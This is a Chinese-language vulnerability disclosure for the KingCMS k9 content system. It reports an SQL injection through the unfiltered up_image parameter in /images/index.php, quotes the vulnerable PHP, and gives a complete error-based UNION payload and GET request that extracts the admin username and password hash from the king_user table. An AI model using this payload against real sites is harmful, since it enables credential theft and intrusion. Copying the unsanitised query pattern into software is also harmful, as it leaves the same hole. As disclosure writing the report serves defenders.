### 简要描述:
KingCms最新版(k9)注入一枚
### 详细说明:
朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。
在wooyun上看到了几个漏洞,如: [WooYun: kingcms最新版sql注入漏洞](http://www.wooyun.org/bugs/wooyun-2013-043520)
注入点:GET /images/index.php?jsoncallback=1&_=1&CMD=show&up_image=1003/**/UNION/**/SELECT/**/1/**/FROM(SELECT/**/COUNT(*),CONCAT(0x23,(SELECT/**/concat(username,0x23,userpass)FROM/**/king_user/**/LIMIT/**/0,1),0x23,FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.tables/**/GROUP/**/BY/**/x)a&AJAX=1
注入参数:up_image
问题文件在/images/index.php
```
function _show(){
if(empty($_POST['up_image'])) kc_tip('图片ID读取错误!');
$id=$_POST['up_image'];
$db=new db;
$rs=$db->getRows_one('%s_up_image','path','image='.$id);
if(empty($rs)) kc_tip('图片丢失!');
//读取图片长宽尺寸
$size=@getimagesize(ROOT.PATH_UP.'/'.$rs['path']);
$_width=$size[0];
$_height=$size[1];
$w=$_width;
$h=$_height;
$size=580;
if($w>$size){
$w=$size;
$h=round($size*($_height/$_width));
}
if($h>$size){
$h=$size;
$w=round($size*($_width/$_height));
}
$attrib=array('width'=>$w,'height'=>$h);
$param=http_build_query($attrib);
$s="<a href=\"".FULLURL."images/?{$id}.jpg\" target=\"_blank\"><img src=\"".FULLURL."images/?id=$id&$param&sign=".md5('id='.$id.$param.kc_config('system.salt')).".jpg\"/></a>";
kc_ajax(array(
'TITLE'=>'图像预览 W='.$_width.'px,H='.$_height.'px',
'MAIN'=>$s,
'ID'=>'k_ajax',
'WIDTH'=>$w,
'HEIGHT'=>$h
));
}
```
在获取到id后($id=$_POST['up_image'];)并没有进行任意过滤,kingcms也没有全局过滤,就执行了$db->getRows_one(),去看看$db->getRows_one
```
public function getRows_one($table,$insql='*',$where=null,$orderby=null) {
$table=str_replace('%s',DB_PRE,$table);
$sql="SELECT $insql FROM $table ";
$sql.=empty($where) ? '' : ' WHERE '.$where;
$sql.=empty($orderby) ? '' : ' ORDER BY '.$orderby;
return $this->get_one($sql);
}
```
同样没有过滤,因此,这里存在注入
Kingcms可以报错,因此
Payload:
```
1003/**/UNION/**/SELECT/**/1/**/FROM(SELECT/**/COUNT(*),CONCAT(0x23,(SELECT/**/concat(username,0x23,userpass)FROM/**/king_user/**/LIMIT/**/0,1),0x23,FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.tables/**/GROUP/**/BY/**/x)a
```
注入成功,见下图
[<img src="https://images.seebug.org/upload/201503/110055255882fbbc40eab7dead56ca03646bdb9f.jpg" alt="成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/110055255882fbbc40eab7dead56ca03646bdb9f.jpg)
### 漏洞证明:
见 详细说明
暂无评论